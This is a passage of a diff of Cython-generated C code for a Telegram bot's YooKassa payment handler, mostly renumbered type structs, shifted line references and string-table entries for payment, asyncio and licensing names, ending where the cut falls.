(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)o; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *)o; if (p->__pyx_v_amount) { e = (*v)(p->__pyx_v_amount, a); if (e) return e; } @@ -11979,27 +10999,27 @@ static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_stru return 0; } #if CYTHON_USE_TYPE_SPECS -static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_slots[] = { - {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input}, - {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input}, - {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input}, +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input}, {0, 0}, }; -static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_spec = { - "handlers.payments.yookassa_pay.__pyx_scope_struct_4_process_custom_amount_input", - sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input), +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_5_process_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input), 0, Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, - __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_slots, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input_slots, }; #else -static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = { +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input = { PyVarObject_HEAD_INIT(0, 0) - "handlers.payments.yookassa_pay.""__pyx_scope_struct_4_process_custom_amount_input", /*tp_name*/ - sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input), /*tp_basicsize*/ + "handlers.payments.yookassa_pay.""__pyx_scope_struct_5_process_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input), /*tp_basicsize*/ 0, /*tp_itemsize*/ - __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_dealloc*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input, /*tp_dealloc*/ #if PY_VERSION_HEX < 0x030800b4 0, /*tp_print*/ #endif @@ -12026,7 +11046,7 @@ static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_st 0, /*tp_as_buffer*/ Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ 0, /*tp_doc*/ - __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_traverse*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input, /*tp_traverse*/ 0, /*tp_clear*/ 0, /*tp_richcompare*/ 0, /*tp_weaklistoffset*/ @@ -12044,7 +11064,7 @@ static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_st #endif 0, /*tp_init*/ 0, /*tp_alloc*/ - __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_new*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input, /*tp_new*/ 0, /*tp_free*/ 0, /*tp_is_gc*/ 0, /*tp_bases*/ @@ -12080,20 +11100,20 @@ static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_st #endif #if CYTHON_USE_FREELISTS -static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message[8]; -static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message = 0; +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message = 0; #endif -static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { PyObject *o; #if CYTHON_COMPILING_IN_LIMITED_API allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); o = alloc_func(t, 0); #else #if CYTHON_USE_FREELISTS - if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message)))) { - o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message]; - memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message)); + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message)); (void) PyObject_INIT(o, t); PyObject_GC_Track(o); } else @@ -12106,11 +11126,11 @@ static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_str return o; } -static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message(PyObject *o) { - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *)o; +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *)o; #if CYTHON_USE_TP_FINALIZE if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { - if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message) { if (PyObject_CallFinalizerFromDealloc(o)) return; } } @@ -12120,8 +11140,8 @@ static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_stru Py_CLEAR(p->__pyx_v_reply_markup); Py_CLEAR(p->__pyx_v_text); #if CYTHON_USE_FREELISTS - if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message)))) { - __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *)o); + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *)o); } else #endif { @@ -12136,9 +11156,9 @@ static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_stru } } -static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message(PyObject *o, visitproc v, void *a) { +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message(PyObject *o, visitproc v, void *a) { int e; - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *)o; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *)o; if (p->__pyx_v_callback_query) { e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; } @@ -12148,27 +11168,27 @@ static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_stru return 0; } #if CYTHON_USE_TYPE_SPECS -static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message_slots[] = { - {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message}, - {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message}, - {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message}, +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message}, {0, 0}, }; -static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message_spec = { - "handlers.payments.yookassa_pay.__pyx_scope_struct_5__send_message", - sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message), +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_6__send_message", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message), 0, Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, - __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message_slots, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message_slots, }; #else -static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message = { +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message = { PyVarObject_HEAD_INIT(0, 0) - "handlers.payments.yookassa_pay.""__pyx_scope_struct_5__send_message", /*tp_name*/ - sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message), /*tp_basicsize*/ + "handlers.payments.yookassa_pay.""__pyx_scope_struct_6__send_message", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message), /*tp_basicsize*/ 0, /*tp_itemsize*/ - __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message, /*tp_dealloc*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message, /*tp_dealloc*/ #if PY_VERSION_HEX < 0x030800b4 0, /*tp_print*/ #endif @@ -12195,7 +11215,7 @@ static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_st 0, /*tp_as_buffer*/ Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ 0, /*tp_doc*/ - __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message, /*tp_traverse*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message, /*tp_traverse*/ 0, /*tp_clear*/ 0, /*tp_richcompare*/ 0, /*tp_weaklistoffset*/ @@ -12213,7 +11233,7 @@ static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_st #endif 0, /*tp_init*/ 0, /*tp_alloc*/ - __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message, /*tp_new*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message, /*tp_new*/ 0, /*tp_free*/ 0, /*tp_is_gc*/ 0, /*tp_bases*/ @@ -12290,8 +11310,8 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_PAY, __pyx_k_PAY, sizeof(__pyx_k_PAY), 0, 0, 1, 1}, {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, {&__pyx_n_s_PAY_2, __pyx_k_PAY_2, sizeof(__pyx_k_PAY_2), 0, 0, 1, 1}, - {&__pyx_n_u_PIRAT0ETO7DLYA9TEBYA, __pyx_k_PIRAT0ETO7DLYA9TEBYA, sizeof(__pyx_k_PIRAT0ETO7DLYA9TEBYA), 0, 1, 0, 1}, {&__pyx_n_s_PROFILE, __pyx_k_PROFILE, sizeof(__pyx_k_PROFILE), 0, 0, 1, 1}, + {&__pyx_kp_u_PROJECT_06_01_09_LICENSION, __pyx_k_PROJECT_06_01_09_LICENSION, sizeof(__pyx_k_PROJECT_06_01_09_LICENSION), 0, 1, 0, 0}, {&__pyx_n_s_Payment, __pyx_k_Payment, sizeof(__pyx_k_Payment), 0, 0, 1, 1}, {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, {&__pyx_n_s_REDIRECT_LINK, __pyx_k_REDIRECT_LINK, sizeof(__pyx_k_REDIRECT_LINK), 0, 0, 1, 1}, @@ -12312,17 +11332,19 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, - {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, - {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, - {&__pyx_n_s__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 0, 1, 1}, + {&__pyx_kp_u__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 1, 0, 0}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, {&__pyx_kp_u__27, __pyx_k__27, sizeof(__pyx_k__27), 0, 1, 0, 0}, - {&__pyx_n_s__36, __pyx_k__36, sizeof(__pyx_k__36), 0, 0, 1, 1}, + {&__pyx_n_s__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 0, 1, 1}, + {&__pyx_kp_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 0}, {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_n_s__40, __pyx_k__40, sizeof(__pyx_k__40), 0, 0, 1, 1}, {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, @@ -12343,7 +11365,9 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio, __pyx_k_asyncio, sizeof(__pyx_k_asyncio), 0, 0, 1, 1}, {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_tasks, __pyx_k_asyncio_tasks, sizeof(__pyx_k_asyncio_tasks), 0, 0, 1, 1}, {&__pyx_n_s_asyncpg, __pyx_k_asyncpg, sizeof(__pyx_k_asyncpg), 0, 0, 1, 1}, {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, @@ -12365,6 +11389,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_conn, __pyx_k_conn, sizeof(__pyx_k_conn), 0, 0, 1, 1}, {&__pyx_n_s_connect, __pyx_k_connect, sizeof(__pyx_k_connect), 0, 0, 1, 1}, {&__pyx_n_s_create, __pyx_k_create, sizeof(__pyx_k_create), 0, 0, 1, 1}, + {&__pyx_n_s_create_task, __pyx_k_create_task, sizeof(__pyx_k_create_task), 0, 0, 1, 1}, {&__pyx_n_u_currency, __pyx_k_currency, sizeof(__pyx_k_currency), 0, 1, 0, 1}, {&__pyx_n_u_customer, __pyx_k_customer, sizeof(__pyx_k_customer), 0, 1, 0, 1}, {&__pyx_n_s_customer_email, __pyx_k_customer_email, sizeof(__pyx_k_customer_email), 0, 0, 1, 1}, @@ -12411,6 +11436,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, {&__pyx_n_s_initializing, __pyx_k_initializing, sizeof(__pyx_k_initializing), 0, 0, 1, 1}, {&__pyx_n_s_inline_keyboard, __pyx_k_inline_keyboard, sizeof(__pyx_k_inline_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_inspect, __pyx_k_inspect, sizeof(__pyx_k_inspect), 0, 0, 1, 1}, {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, {&__pyx_n_s_isdigit, __pyx_k_isdigit, sizeof(__pyx_k_isdigit), 0, 0, 1, 1}, {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, @@ -12445,6 +11471,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_process_callback_pay_yookassa, __pyx_k_process_callback_pay_yookassa, sizeof(__pyx_k_process_callback_pay_yookassa), 0, 0, 1, 1}, {&__pyx_n_s_process_custom_amount_input, __pyx_k_process_custom_amount_input, sizeof(__pyx_k_process_custom_amount_input), 0, 0, 1, 1}, {&__pyx_n_s_process_enter_custom_amount, __pyx_k_process_enter_custom_amount, sizeof(__pyx_k_process_enter_custom_amount), 0, 0, 1, 1}, + {&__pyx_n_s_process_successful_payment, __pyx_k_process_successful_payment, sizeof(__pyx_k_process_successful_payment), 0, 0, 1, 1}, {&__pyx_n_u_profile, __pyx_k_profile, sizeof(__pyx_k_profile), 0, 1, 0, 1}, {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, {&__pyx_n_u_quantity, __pyx_k_quantity, sizeof(__pyx_k_quantity), 0, 1, 0, 1}, @@ -12454,6 +11481,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, {&__pyx_n_s_request, __pyx_k_request, sizeof(__pyx_k_request), 0, 0, 1, 1}, {&__pyx_n_u_required_amount, __pyx_k_required_amount, sizeof(__pyx_k_required_amount), 0, 1, 0, 1}, + {&__pyx_n_s_response, __pyx_k_response, sizeof(__pyx_k_response), 0, 0, 1, 1}, {&__pyx_n_u_return_url, __pyx_k_return_url, sizeof(__pyx_k_return_url), 0, 1, 0, 1}, {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, @@ -12515,8 +11543,8 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { } /* #### Code section: cached_builtins ### */ static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { - __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 76, __pyx_L1_error) - __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 130, __pyx_L1_error) + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 131, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; @@ -12527,116 +11555,58 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - /* "handlers/payments/yookassa_pay.py":122 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< - * - * if len(data) != 2: - */ - __pyx_tuple__5 = PyTuple_Pack(2, __pyx_kp_u__4, __pyx_int_1); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_tuple__5 = PyTuple_Pack(2, __pyx_kp_u__4, __pyx_int_1); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__5); __Pyx_GIVEREF(__pyx_tuple__5); - /* "handlers/payments/yookassa_pay.py":243 - * builder.row(InlineKeyboardButton(text=BACK, callback_data="pay_yookassa")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ - __pyx_tuple__16 = PyTuple_Pack(1, __pyx_kp_u__15); if (unlikely(!__pyx_tuple__16)) __PYX_ERR(0, 243, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__16); - __Pyx_GIVEREF(__pyx_tuple__16); - - /* "handlers/payments/yookassa_pay.py":270 - * return - * - * amount = user_data["data"].get("required_amount", 0) # <<<<<<<<<<<<<< - * - * elif isinstance(callback_query, types.Message): - */ - __pyx_tuple__19 = PyTuple_Pack(2, __pyx_n_u_required_amount, __pyx_int_0); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 270, __pyx_L1_error) + __pyx_tuple__19 = PyTuple_Pack(1, __pyx_kp_u__18); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__19); __Pyx_GIVEREF(__pyx_tuple__19); - /* "handlers/payments/yookassa_pay.py":60 - * - * - * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< - * async def process_callback_pay_yookassa( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ - __pyx_tuple__28 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 60, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__28); - __Pyx_GIVEREF(__pyx_tuple__28); - __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__28, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_callback_pay_yookassa, 60, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_tuple__22 = PyTuple_Pack(2, __pyx_n_u_required_amount, __pyx_int_0); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 281, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__22); + __Pyx_GIVEREF(__pyx_tuple__22); - /* "handlers/payments/yookassa_pay.py":118 - * - * - * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ - __pyx_tuple__29 = PyTuple_Pack(1, __pyx_kp_u_yookassa_amount); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 118, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__29); - __Pyx_GIVEREF(__pyx_tuple__29); - __pyx_tuple__30 = PyTuple_Pack(11, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_customer_name, __pyx_n_s_customer_id, __pyx_n_s_customer_email, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 118, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__30); - __Pyx_GIVEREF(__pyx_tuple__30); - __pyx_codeobj__3 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__30, __pyx_empty_tuple, 